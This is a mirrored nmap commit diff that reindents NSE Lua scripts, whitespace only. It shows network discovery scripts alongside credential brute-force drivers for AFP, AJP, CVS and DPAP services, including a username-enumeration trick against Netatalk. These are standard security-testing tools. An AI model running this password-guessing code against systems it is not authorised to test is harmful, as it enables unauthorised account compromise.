1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-09 06:01:28 +00:00

Reindent some scripts. Whitespace only.

https://secwiki.org/w/Nmap/Code_Standards
This commit is contained in:
dmiller
2014-01-31 16:37:27 +00:00
parent 32936167c2
commit 078aa688c9
50 changed files with 2573 additions and 2573 deletions

View File

@@ -49,68 +49,68 @@ portrule = shortport.port_or_service (2202, "acarsd", {"tcp"})
action = function(host, port) action = function(host, port)
local result = {} local result = {}
-- Set timeout -- Set timeout
local timeout = tonumber(nmap.registry.args[SCRIPT_NAME .. '.timeout']) local timeout = tonumber(nmap.registry.args[SCRIPT_NAME .. '.timeout'])
if not timeout or timeout < 0 then timeout = 10 end if not timeout or timeout < 0 then timeout = 10 end
-- Set bytes -- Set bytes
local bytes = tonumber(nmap.registry.args[SCRIPT_NAME .. '.bytes']) local bytes = tonumber(nmap.registry.args[SCRIPT_NAME .. '.bytes'])
if not bytes then bytes = 512 else tonumber(bytes) end if not bytes then bytes = 512 else tonumber(bytes) end
-- Connect and retrieve acarsd info in XML format over TCP -- Connect and retrieve acarsd info in XML format over TCP
stdnse.print_debug(1, ("%s: Connecting to %s:%s [Timeout: %ss]"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout)) stdnse.print_debug(1, ("%s: Connecting to %s:%s [Timeout: %ss]"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout))
local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes}) local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes})
if not status or not data then if not status or not data then
stdnse.print_debug(1, ("%s: Retrieving data from %s:%s failed [Timeout expired]"):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) stdnse.print_debug(1, ("%s: Retrieving data from %s:%s failed [Timeout expired]"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
return return
end end
-- Check if retrieved data is valid acarsd data -- Check if retrieved data is valid acarsd data
if not string.match(data, "acarsd") then if not string.match(data, "acarsd") then
stdnse.print_debug(1, ("%s: %s:%s is not an acarsd Daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) stdnse.print_debug(1, ("%s: %s:%s is not an acarsd Daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
return return
end end
-- Check for restricted access -- Parse daemon info -- Check for restricted access -- Parse daemon info
if string.match(data, "Authorization needed%. If your client doesnt support this") then if string.match(data, "Authorization needed%. If your client doesnt support this") then
local version_match = string.match(data, "acarsd\t(.+)\t") local version_match = string.match(data, "acarsd\t(.+)\t")
if version_match then table.insert(result, string.format("Version: %s", version_match)) end if version_match then table.insert(result, string.format("Version: %s", version_match)) end
local api_version_match = string.match(data, "acarsd\t.+\t(API.+[0-9][0-9]?)") local api_version_match = string.match(data, "acarsd\t.+\t(API.+[0-9][0-9]?)")
if api_version_match then table.insert(result, string.format("API Version: %s", api_version_match)) end if api_version_match then table.insert(result, string.format("API Version: %s", api_version_match)) end
table.insert(result, "Authorization Required: 1") table.insert(result, "Authorization Required: 1")
-- Check for unrestricted access -- Parse daemon info -- Check for unrestricted access -- Parse daemon info
else else
stdnse.print_debug(1, ("%s: Parsing data from %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) stdnse.print_debug(1, ("%s: Parsing data from %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
local vars = { local vars = {
{"Version","Version"}, {"Version","Version"},
{"API Version","APIVersion"}, {"API Version","APIVersion"},
--{"Hostname","Hostname"}, --{"Hostname","Hostname"},
--{"Port","Port"}, --{"Port","Port"},
--{"Server UUID","ServerUUID"}, --{"Server UUID","ServerUUID"},
{"Authorization Required","NeedAuth"}, {"Authorization Required","NeedAuth"},
{"Admin E-mail","AdminMail"}, {"Admin E-mail","AdminMail"},
{"Clients Connected","ClientsConnected"}, {"Clients Connected","ClientsConnected"},
{"Frequency","Frequency"}, {"Frequency","Frequency"},
{"License","License"}, {"License","License"},
} }
for _, var in ipairs(vars) do for _, var in ipairs(vars) do
local tag = var[2] local tag = var[2]
local var_match = string.match(data, string.format('<%s>(.+)</%s>', tag, tag)) local var_match = string.match(data, string.format('<%s>(.+)</%s>', tag, tag))
if var_match then table.insert(result, string.format("%s: %s", var[1], string.gsub(var_match, "&amp;", "&"))) end if var_match then table.insert(result, string.format("%s: %s", var[1], string.gsub(var_match, "&amp;", "&"))) end
end end
end end
port.version.name = "acarsd" port.version.name = "acarsd"
port.version.product = "ACARS Decoder" port.version.product = "ACARS Decoder"
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
-- Return results -- Return results
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -51,61 +51,61 @@ portrule = shortport.port_or_service(548, "afp")
action = function( host, port ) action = function( host, port )
local result, response, status = {}, nil, nil local result, response, status = {}, nil, nil
local valid_accounts, found_users = {}, {} local valid_accounts, found_users = {}, {}
local helper local helper
local usernames, passwords local usernames, passwords
status, usernames = unpwdb.usernames() status, usernames = unpwdb.usernames()
if not status then return end if not status then return end
status, passwords = unpwdb.passwords() status, passwords = unpwdb.passwords()
if not status then return end if not status then return end
for password in passwords do for password in passwords do
for username in usernames do for username in usernames do
if ( not(found_users[username]) ) then if ( not(found_users[username]) ) then
helper = afp.Helper:new() helper = afp.Helper:new()
status, response = helper:OpenSession( host, port ) status, response = helper:OpenSession( host, port )
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug("OpenSession failed") stdnse.print_debug("OpenSession failed")
return return
end end
stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) ) stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) )
status, response = helper:Login( username, password ) status, response = helper:Login( username, password )
-- if the response is "Parameter error." we're dealing with Netatalk -- if the response is "Parameter error." we're dealing with Netatalk
-- This basically means that the user account does not exist -- This basically means that the user account does not exist
-- In this case, why bother continuing? Simply abort and thank Netatalk for the fish -- In this case, why bother continuing? Simply abort and thank Netatalk for the fish
if response:match("Parameter error.") then if response:match("Parameter error.") then
stdnse.print_debug("Netatalk told us the user does not exist! Thanks.") stdnse.print_debug("Netatalk told us the user does not exist! Thanks.")
-- mark it as "found" to skip it -- mark it as "found" to skip it
found_users[username] = true found_users[username] = true
end end
if status then if status then
-- Add credentials for other afp scripts to use -- Add credentials for other afp scripts to use
if nmap.registry.afp == nil then if nmap.registry.afp == nil then
nmap.registry.afp = {} nmap.registry.afp = {}
end end
nmap.registry.afp[username]=password nmap.registry.afp[username]=password
found_users[username] = true found_users[username] = true
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) ) table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
break break
end end
helper:CloseSession() helper:CloseSession()
end end
end end
usernames("reset") usernames("reset")
end end
local output = stdnse.format_output(true, valid_accounts) local output = stdnse.format_output(true, valid_accounts)
return output return output
end end

View File

@@ -39,74 +39,74 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
Driver = { Driver = {
new = function(self, host, port, options) new = function(self, host, port, options)
local o = { host = host, local o = { host = host,
port = port, port = port,
options = options, options = options,
helper = ajp.Helper:new(host, port) helper = ajp.Helper:new(host, port)
} }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
connect = function(self) connect = function(self)
return self.helper:connect() return self.helper:connect()
end, end,
disconnect = function(self) disconnect = function(self)
return self.helper:close() return self.helper:close()
end, end,
login = function(self, user, pass) login = function(self, user, pass)
local headers = { local headers = {
["Authorization"] = ("Basic %s"):format(base64.enc(user .. ":" .. pass)) ["Authorization"] = ("Basic %s"):format(base64.enc(user .. ":" .. pass))
} }
local status, response = self.helper:get(arg_url, headers) local status, response = self.helper:get(arg_url, headers)
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( response ) local err = brute.Error:new( response )
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
elseif( response.status ~= 401 ) then elseif( response.status ~= 401 ) then
return true, brute.Account:new(user, pass, creds.State.VALID) return true, brute.Account:new(user, pass, creds.State.VALID)
end end
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end, end,
} }
action = function(host, port) action = function(host, port)
local helper = ajp.Helper:new(host, port) local helper = ajp.Helper:new(host, port)
if ( not(helper:connect()) ) then if ( not(helper:connect()) ) then
return fail("Failed to connect to server") return fail("Failed to connect to server")
end end
local status, response = helper:get(arg_url) local status, response = helper:get(arg_url)
if ( not(response.headers['www-authenticate']) ) then if ( not(response.headers['www-authenticate']) ) then
return "\n URL does not require authentication" return "\n URL does not require authentication"
end end
local challenges = http.parse_www_authenticate(response.headers['www-authenticate']) local challenges = http.parse_www_authenticate(response.headers['www-authenticate'])
local options = { scheme = nil } local options = { scheme = nil }
for _, challenge in ipairs(challenges or {}) do for _, challenge in ipairs(challenges or {}) do
if ( challenge and challenge.scheme and challenge.scheme:lower() == "basic") then if ( challenge and challenge.scheme and challenge.scheme:lower() == "basic") then
options.scheme = challenge.scheme:lower() options.scheme = challenge.scheme:lower()
break break
end end
end end
if ( not(options.scheme) ) then if ( not(options.scheme) ) then
return fail("Could not find a supported authentication scheme") return fail("Could not find a supported authentication scheme")
end end
local engine = brute.Engine:new(Driver, host, port ) local engine = brute.Engine:new(Driver, host, port )
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
local status, result = engine:start() local status, result = engine:start()
if ( status ) then if ( status ) then
return result return result
end end
end end

View File

@@ -37,16 +37,16 @@ categories = {"broadcast", "safe"}
prerule = function() prerule = function()
if not nmap.is_privileged() then if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false return false
end end
if nmap.address_family() ~= 'inet6' then if nmap.address_family() ~= 'inet6' then
stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME) stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
return false return false
end end
return true return true
end end
-- Gets a list of available interfaces based on link and up filters -- Gets a list of available interfaces based on link and up filters
@@ -55,64 +55,64 @@ end
-- @param up string containing the interface status to filter -- @param up string containing the interface status to filter
-- @return result table containing the matching interfaces -- @return result table containing the matching interfaces
local function getInterfaces(link, up) local function getInterfaces(link, up)
if( not(nmap.list_interfaces) ) then return end if( not(nmap.list_interfaces) ) then return end
local interfaces, err = nmap.list_interfaces() local interfaces, err = nmap.list_interfaces()
local result local result
if ( not(err) ) then if ( not(err) ) then
for _, iface in ipairs(interfaces) do for _, iface in ipairs(interfaces) do
if ( iface.link == link and iface.up == up ) then if ( iface.link == link and iface.up == up ) then
result = result or {} result = result or {}
result[iface.device] = true result[iface.device] = true
end end
end end
end end
return result return result
end end
local function solicit(iface, result) local function solicit(iface, result)
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
local helper = dhcp6.Helper:new(iface) local helper = dhcp6.Helper:new(iface)
if ( not(helper) ) then if ( not(helper) ) then
condvar "signal" condvar "signal"
return return
end end
local status, response = helper:solicit() local status, response = helper:solicit()
if ( status ) then if ( status ) then
response.name=("Interface: %s"):format(iface) response.name=("Interface: %s"):format(iface)
table.insert(result, response ) table.insert(result, response )
end end
condvar "signal" condvar "signal"
end end
action = function(host, port) action = function(host, port)
local iface = nmap.get_interface() local iface = nmap.get_interface()
local ifs, result, threads = {}, {}, {} local ifs, result, threads = {}, {}, {}
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
if ( iface ) then if ( iface ) then
ifs[iface] = true ifs[iface] = true
else else
ifs = getInterfaces("ethernet", "up") ifs = getInterfaces("ethernet", "up")
end end
for iface in pairs(ifs) do for iface in pairs(ifs) do
local co = stdnse.new_thread( solicit, iface, result ) local co = stdnse.new_thread( solicit, iface, result )
threads[co] = true threads[co] = true
end end
-- wait until the probes are all done -- wait until the probes are all done
repeat repeat
for thread in pairs(threads) do for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then if coroutine.status(thread) == "dead" then
threads[thread] = nil threads[thread] = nil
end end
end end
if ( next(threads) ) then if ( next(threads) ) then
condvar "wait" condvar "wait"
end end
until next(threads) == nil until next(threads) == nil
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -61,54 +61,54 @@ prerule = function() return true end
-- converted to Yes/No; if the value is nil, nothing is added to the table. -- converted to Yes/No; if the value is nil, nothing is added to the table.
local function add_to_output_table( outputTable, outputLabel, outputData ) local function add_to_output_table( outputTable, outputLabel, outputData )
if outputData ~= nil then if outputData ~= nil then
if outputData == true then if outputData == true then
outputData = "Yes" outputData = "Yes"
elseif outputData == false then elseif outputData == false then
outputData = "No" outputData = "No"
end end
table.insert(outputTable, string.format( "%s: %s", outputLabel, outputData ) ) table.insert(outputTable, string.format( "%s: %s", outputLabel, outputData ) )
end end
end end
--- Returns formatted output for the given instance --- Returns formatted output for the given instance
local function create_instance_output_table( instance ) local function create_instance_output_table( instance )
local instanceOutput = {} local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
add_to_output_table( instanceOutput, "Name", instance.instanceName ) add_to_output_table( instanceOutput, "Name", instance.instanceName )
if instance.version then add_to_output_table( instanceOutput, "Product", instance.version.productName ) end if instance.version then add_to_output_table( instanceOutput, "Product", instance.version.productName ) end
if instance.port then add_to_output_table( instanceOutput, "TCP port", instance.port.number ) end if instance.port then add_to_output_table( instanceOutput, "TCP port", instance.port.number ) end
add_to_output_table( instanceOutput, "Named pipe", instance.pipeName ) add_to_output_table( instanceOutput, "Named pipe", instance.pipeName )
return instanceOutput return instanceOutput
end end
action = function() action = function()
local host = { ip = "255.255.255.255" } local host = { ip = "255.255.255.255" }
local port = { number = 1434, protocol = "udp" } local port = { number = 1434, protocol = "udp" }
local status, result = mssql.Helper.DiscoverBySsrp(host, port, true) local status, result = mssql.Helper.DiscoverBySsrp(host, port, true)
if ( not(status) ) then return end if ( not(status) ) then return end
local scriptOutput = {} local scriptOutput = {}
for ip, instanceList in pairs(result) do for ip, instanceList in pairs(result) do
local serverOutput, serverName = {}, nil local serverOutput, serverName = {}, nil
target.add( ip ) target.add( ip )
for _, instance in ipairs( instanceList ) do for _, instance in ipairs( instanceList ) do
serverName = serverName or instance.serverName serverName = serverName or instance.serverName
local instanceOutput = create_instance_output_table( instance ) local instanceOutput = create_instance_output_table( instance )
table.insert(serverOutput, instanceOutput) table.insert(serverOutput, instanceOutput)
end end
serverOutput.name = string.format( "%s (%s)", ip, serverName ) serverOutput.name = string.format( "%s (%s)", ip, serverName )
table.insert( scriptOutput, serverOutput ) table.insert( scriptOutput, serverOutput )
end end
return stdnse.format_output( true, scriptOutput ) return stdnse.format_output( true, scriptOutput )
end end

View File

@@ -36,37 +36,37 @@ categories = {"broadcast", "safe"}
prerule = function() prerule = function()
if not nmap.is_privileged() then if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false return false
end end
return true return true
end end
local function fail(err) local function fail(err)
if ( err ) then if ( err ) then
return ("\n ERROR: %s"):format(err) return ("\n ERROR: %s"):format(err)
end end
end end
local function discoverPPPoE(helper) local function discoverPPPoE(helper)
local status, err = helper:connect() local status, err = helper:connect()
if ( not(status) ) then if ( not(status) ) then
return false, err return false, err
end end
local status, pado = helper:discoverInit() local status, pado = helper:discoverInit()
if ( not(status) ) then if ( not(status) ) then
return false, pado return false, pado
end end
status, err = helper:discoverRequest() status, err = helper:discoverRequest()
if ( not(status) ) then if ( not(status) ) then
return false, err return false, err
end end
return true, pado return true, pado
end end
-- Gets a list of available interfaces based on link and up filters -- Gets a list of available interfaces based on link and up filters
@@ -75,53 +75,53 @@ end
-- @param up string containing the interface status to filter -- @param up string containing the interface status to filter
-- @return result table containing the matching interfaces -- @return result table containing the matching interfaces
local function getInterfaces(link, up) local function getInterfaces(link, up)
if( not(nmap.list_interfaces) ) then return end if( not(nmap.list_interfaces) ) then return end
local interfaces, err = nmap.list_interfaces() local interfaces, err = nmap.list_interfaces()
local result local result
if ( not(err) ) then if ( not(err) ) then
for _, iface in ipairs(interfaces) do for _, iface in ipairs(interfaces) do
if ( iface.link == link and iface.up == up ) then if ( iface.link == link and iface.up == up ) then
result = result or {} result = result or {}
result[iface.device] = true result[iface.device] = true
end end
end end
end end
return result return result
end end
action = function() action = function()
local interfaces local interfaces
-- first check if the user supplied an interface -- first check if the user supplied an interface
if ( nmap.get_interface() ) then if ( nmap.get_interface() ) then
interfaces = { [nmap.get_interface()] = true } interfaces = { [nmap.get_interface()] = true }
else else
interfaces = getInterfaces("ethernet", "up") interfaces = getInterfaces("ethernet", "up")
end end
for iface in pairs(interfaces) do for iface in pairs(interfaces) do
local helper, err = pppoe.Helper:new(iface) local helper, err = pppoe.Helper:new(iface)
if ( not(helper) ) then if ( not(helper) ) then
return fail(err) return fail(err)
end end
local status, pado = discoverPPPoE(helper) local status, pado = discoverPPPoE(helper)
if ( not(status) ) then if ( not(status) ) then
return fail(pado) return fail(pado)
end end
helper:close() helper:close()
local output = { name = ("Server: %s"):format(stdnse.format_mac(pado.mac_srv)) } local output = { name = ("Server: %s"):format(stdnse.format_mac(pado.mac_srv)) }
table.insert(output, ("Version: %d"):format(pado.header.version)) table.insert(output, ("Version: %d"):format(pado.header.version))
table.insert(output, ("Type: %d"):format(pado.header.type)) table.insert(output, ("Type: %d"):format(pado.header.type))
local tags = { name = "TAGs" } local tags = { name = "TAGs" }
for _, tag in ipairs(pado.tags) do for _, tag in ipairs(pado.tags) do
local name, val = pppoe.PPPoE.TagName[tag.tag], tag.decoded local name, val = pppoe.PPPoE.TagName[tag.tag], tag.decoded
table.insert(tags, ("%s: %s"):format(name, val)) table.insert(tags, ("%s: %s"):format(name, val))
end end
table.insert(output, tags) table.insert(output, tags)
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end
end end

View File

@@ -47,83 +47,83 @@ portrule = shortport.port_or_service(2401, "cvspserver")
Driver = Driver =
{ {
new = function(self, host, port ) new = function(self, host, port )
local o = { host = host, helper = cvs.Helper:new(host, port) } local o = { host = host, helper = cvs.Helper:new(host, port) }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
connect = function( self ) connect = function( self )
self.helper:connect() self.helper:connect()
return true return true
end, end,
login = function( self, username, password ) login = function( self, username, password )
username = "" username = ""
if ( password:sub(1,1) ~= "/" ) then password = "/" .. password end if ( password:sub(1,1) ~= "/" ) then password = "/" .. password end
local status, err = self.helper:login( password, "repository", "repository" ) local status, err = self.helper:login( password, "repository", "repository" )
if ( not(status) and err:match("I HATE YOU") ) then if ( not(status) and err:match("I HATE YOU") ) then
-- let's store the repositories in the registry so the brute -- let's store the repositories in the registry so the brute
-- script can use them later. -- script can use them later.
self.host.registry.cvs_repos = self.host.registry.cvs_repos or {} self.host.registry.cvs_repos = self.host.registry.cvs_repos or {}
table.insert(self.host.registry.cvs_repos, password) table.insert(self.host.registry.cvs_repos, password)
return true, brute.Account:new(username, password, 0) return true, brute.Account:new(username, password, 0)
end end
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end, end,
disconnect = function( self ) disconnect = function( self )
self.helper:close() self.helper:close()
end, end,
} }
action = function(host, port) action = function(host, port)
local status, result local status, result
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
-- a list of "common" repository names: -- a list of "common" repository names:
-- the first two are Debian/Ubuntu default names -- the first two are Debian/Ubuntu default names
-- the rest were found during tests or in google searches -- the rest were found during tests or in google searches
local repos = {"myrepos", "demo", "cvs", "cvsroot", "prod", "src", "test", local repos = {"myrepos", "demo", "cvs", "cvsroot", "prod", "src", "test",
"source", "devel", "cvsroot", "/var/lib/cvsroot", "source", "devel", "cvsroot", "/var/lib/cvsroot",
"cvs-repository", "/home/cvsroot", "/var/cvs", "cvs-repository", "/home/cvsroot", "/var/cvs",
"/usr/local/cvs"} "/usr/local/cvs"}
local repofile = stdnse.get_script_args("cvs-brute-repository.repofile") local repofile = stdnse.get_script_args("cvs-brute-repository.repofile")
local f local f
if ( repofile ) then if ( repofile ) then
f = io.open( repofile, "r" ) f = io.open( repofile, "r" )
if ( not(f) ) then if ( not(f) ) then
return ("\n ERROR: Failed to open repository file: %s"):format(repofile) return ("\n ERROR: Failed to open repository file: %s"):format(repofile)
end end
end end
local function repository_iterator() local function repository_iterator()
local function next_repo() local function next_repo()
for line in f:lines() do for line in f:lines() do
if ( not(line:match("#!comment")) ) then if ( not(line:match("#!comment")) ) then
coroutine.yield("", line) coroutine.yield("", line)
end end
end end
while(true) do coroutine.yield(nil, nil) end while(true) do coroutine.yield(nil, nil) end
end end
return coroutine.wrap(next_repo) return coroutine.wrap(next_repo)
end end
engine.options:setTitle("Repositories") engine.options:setTitle("Repositories")
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
engine.options.passonly = true engine.options.passonly = true
engine.options.firstonly = false engine.options.firstonly = false
engine.options.nostore = true engine.options.nostore = true
engine.iterator = brute.Iterators.account_iterator({""}, repos, "user") engine.iterator = brute.Iterators.account_iterator({""}, repos, "user")
if ( repofile ) then engine.iterator = unpwdb.concat_iterators(engine.iterator,repository_iterator()) end if ( repofile ) then engine.iterator = unpwdb.concat_iterators(engine.iterator,repository_iterator()) end
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -45,82 +45,82 @@ local arg_mask = stdnse.get_script_args(SCRIPT_NAME .. ".mask")
-- netmask syntax; then looks for a "mask" script argument if that fails. The -- netmask syntax; then looks for a "mask" script argument if that fails. The
-- "/" syntax wins over "mask" if both are present. -- "/" syntax wins over "mask" if both are present.
local function get_prefix_mask(arg_prefix, arg_mask) local function get_prefix_mask(arg_prefix, arg_mask)
if not arg_prefix then if not arg_prefix then
return return
end end
local prefix, mask = string.match(arg_prefix, "^(.*)/(.*)$") local prefix, mask = string.match(arg_prefix, "^(.*)/(.*)$")
if not mask then if not mask then
prefix, mask = arg_prefix, arg_mask prefix, mask = arg_prefix, arg_mask
end end
return prefix, mask return prefix, mask
end end
prerule = function() prerule = function()
local prefix, mask = get_prefix_mask(arg_prefix, arg_mask) local prefix, mask = get_prefix_mask(arg_prefix, arg_mask)
return prefix and mask return prefix and mask
end end
local function query_prefix(query, result) local function query_prefix(query, result)
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
local status, res = dns.query(query, { dtype='PTR' }) local status, res = dns.query(query, { dtype='PTR' })
if ( not(status) and res == "No Answers") then if ( not(status) and res == "No Answers") then
table.insert(result, query) table.insert(result, query)
elseif ( status ) then elseif ( status ) then
local ip = query:sub(1, -10):gsub('%.',''):reverse():gsub('(....)', '%1:'):sub(1, -2) local ip = query:sub(1, -10):gsub('%.',''):reverse():gsub('(....)', '%1:'):sub(1, -2)
ip = ipOps.bin_to_ip(ipOps.ip_to_bin(ip)) ip = ipOps.bin_to_ip(ipOps.ip_to_bin(ip))
table.insert(result, { ptr = res, query = query, ip = ip } ) table.insert(result, { ptr = res, query = query, ip = ip } )
end end
condvar "signal" condvar "signal"
end end
action = function() action = function()
local prefix, mask = get_prefix_mask(arg_prefix, arg_mask) local prefix, mask = get_prefix_mask(arg_prefix, arg_mask)
local query = dns.reverse(prefix) local query = dns.reverse(prefix)
-- cut the query name down to the length of the prefix -- cut the query name down to the length of the prefix
local len = (( mask / 8 ) * 4) + #(".ip6.arpa") - 1 local len = (( mask / 8 ) * 4) + #(".ip6.arpa") - 1
local found = { query:sub(-len) } local found = { query:sub(-len) }
local threads = {} local threads = {}
local i = 20 local i = 20
local result local result
repeat repeat
result = {} result = {}
for _, f in ipairs(found) do for _, f in ipairs(found) do
for q in ("0123456789abcdef"):gmatch("(%w)") do for q in ("0123456789abcdef"):gmatch("(%w)") do
local co = stdnse.new_thread(query_prefix, q .. "." .. f, result) local co = stdnse.new_thread(query_prefix, q .. "." .. f, result)
threads[co] = true threads[co] = true
end end
end end
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
repeat repeat
for t in pairs(threads) do for t in pairs(threads) do
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
end end
if ( next(threads) ) then if ( next(threads) ) then
condvar "wait" condvar "wait"
end end
until( next(threads) == nil ) until( next(threads) == nil )
if ( 0 == #result ) then if ( 0 == #result ) then
return return
end end
found = result found = result
i = i + 1 i = i + 1
until( 128 == i * 2 + mask ) until( 128 == i * 2 + mask )
table.sort(result, function(a,b) return (a.ip < b.ip) end) table.sort(result, function(a,b) return (a.ip < b.ip) end)
local output = tab.new(2) local output = tab.new(2)
tab.addrow(output, "ip", "ptr") tab.addrow(output, "ip", "ptr")
for _, item in ipairs(result) do for _, item in ipairs(result) do
tab.addrow(output, item.ip, item.ptr) tab.addrow(output, item.ip, item.ptr)
end end
return "\n" .. tab.dump(output) return "\n" .. tab.dump(output)
end end

View File

@@ -45,50 +45,50 @@ categories = {"discovery", "default"}
portrule = shortport.port_or_service(53, "domain", {"tcp", "udp"}) portrule = shortport.port_or_service(53, "domain", {"tcp", "udp"})
local function rr_filter(pktRR, label) local function rr_filter(pktRR, label)
for _, rec in ipairs(pktRR, label) do for _, rec in ipairs(pktRR, label) do
if ( rec[label] and 0 < #rec.data ) then if ( rec[label] and 0 < #rec.data ) then
if ( dns.types.OPT == rec.dtype ) then if ( dns.types.OPT == rec.dtype ) then
local pos, _, len = bin.unpack(">SS", rec.data) local pos, _, len = bin.unpack(">SS", rec.data)
if ( len ~= #rec.data - pos + 1 ) then if ( len ~= #rec.data - pos + 1 ) then
return false, "Failed to decode NSID" return false, "Failed to decode NSID"
end end
return true, select(2, bin.unpack("A" .. len, rec.data, pos)) return true, select(2, bin.unpack("A" .. len, rec.data, pos))
else else
return true, select(2, bin.unpack("p", rec.data)) return true, select(2, bin.unpack("p", rec.data))
end end
end end
end end
end end
action = function(host, port) action = function(host, port)
local result = stdnse.output_table() local result = stdnse.output_table()
local flag = false local flag = false
local status, resp = dns.query("id.server", {host = host.ip, port=port.number, proto=port.protocol, dtype='TXT', class=dns.CLASS.CH, retAll=true, retPkt=true, nsid=true, dnssec=true}) local status, resp = dns.query("id.server", {host = host.ip, port=port.number, proto=port.protocol, dtype='TXT', class=dns.CLASS.CH, retAll=true, retPkt=true, nsid=true, dnssec=true})
if ( status ) then if ( status ) then
local status, nsid = rr_filter(resp.add,'OPT') local status, nsid = rr_filter(resp.add,'OPT')
if ( status ) then if ( status ) then
flag = true flag = true
-- RFC 5001 says NSID can be any arbitrary bytes, and should be displayed -- RFC 5001 says NSID can be any arbitrary bytes, and should be displayed
-- as hex, but often it is a readable string. Store both. -- as hex, but often it is a readable string. Store both.
result["NSID"] = { raw = nsid, hex = stdnse.tohex(nsid) } result["NSID"] = { raw = nsid, hex = stdnse.tohex(nsid) }
setmetatable(result["NSID"], { setmetatable(result["NSID"], {
__tostring = function(t) __tostring = function(t)
return ("%s (%s)"):format(t.raw, t.hex) return ("%s (%s)"):format(t.raw, t.hex)
end end
}) })
end end
local status, id_server = rr_filter(resp.answers,'TXT') local status, id_server = rr_filter(resp.answers,'TXT')
if ( status ) then if ( status ) then
flag = true flag = true
result["id.server"] = id_server result["id.server"] = id_server
end end
end end
local status, bind_version = dns.query("version.bind", {host = host.ip, port=port.number, proto=port.protocol, dtype='TXT', class=dns.CLASS.CH}) local status, bind_version = dns.query("version.bind", {host = host.ip, port=port.number, proto=port.protocol, dtype='TXT', class=dns.CLASS.CH})
if ( status ) then if ( status ) then
flag = true flag = true
result["bind.version"] = bind_version result["bind.version"] = bind_version
end end
if flag then if flag then
return result return result
end end
end end

View File

@@ -35,90 +35,90 @@ portrule = shortport.port_or_service(8770, "apple-iphoto")
Driver = { Driver = {
new = function(self, host, port) new = function(self, host, port)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = host o.host = host
o.port = port o.port = port
return o return o
end, end,
connect = function( self ) connect = function( self )
self.socket = nmap.new_socket() self.socket = nmap.new_socket()
self.socket:set_timeout(5000) self.socket:set_timeout(5000)
return self.socket:connect(self.host, self.port, "tcp") return self.socket:connect(self.host, self.port, "tcp")
end, end,
login = function( self, username, password ) login = function( self, username, password )
local data = "GET dpap://%s:%d/login HTTP/1.1\r\n" .. local data = "GET dpap://%s:%d/login HTTP/1.1\r\n" ..
"User-Agent: iPhoto/9.1.1 (Macintosh; N; PPC)\r\n" .. "User-Agent: iPhoto/9.1.1 (Macintosh; N; PPC)\r\n" ..
"Host: %s\r\n" .. "Host: %s\r\n" ..
"Authorization: Basic %s\r\n" .. "Authorization: Basic %s\r\n" ..
"Client-DPAP-Version: 1.1\r\n" .. "Client-DPAP-Version: 1.1\r\n" ..
"\r\n\r\n" "\r\n\r\n"
local c = base64.enc("nmap:" .. password) local c = base64.enc("nmap:" .. password)
data = data:format( self.host.ip, self.port.number, self.host.ip, c ) data = data:format( self.host.ip, self.port.number, self.host.ip, c )
local status = self.socket:send( data ) local status = self.socket:send( data )
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( "Failed to send data to DPAP server" ) local err = brute.Error:new( "Failed to send data to DPAP server" )
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
status, data = self.socket:receive() status, data = self.socket:receive()
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( "Failed to receive data from DPAP server" ) local err = brute.Error:new( "Failed to receive data from DPAP server" )
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
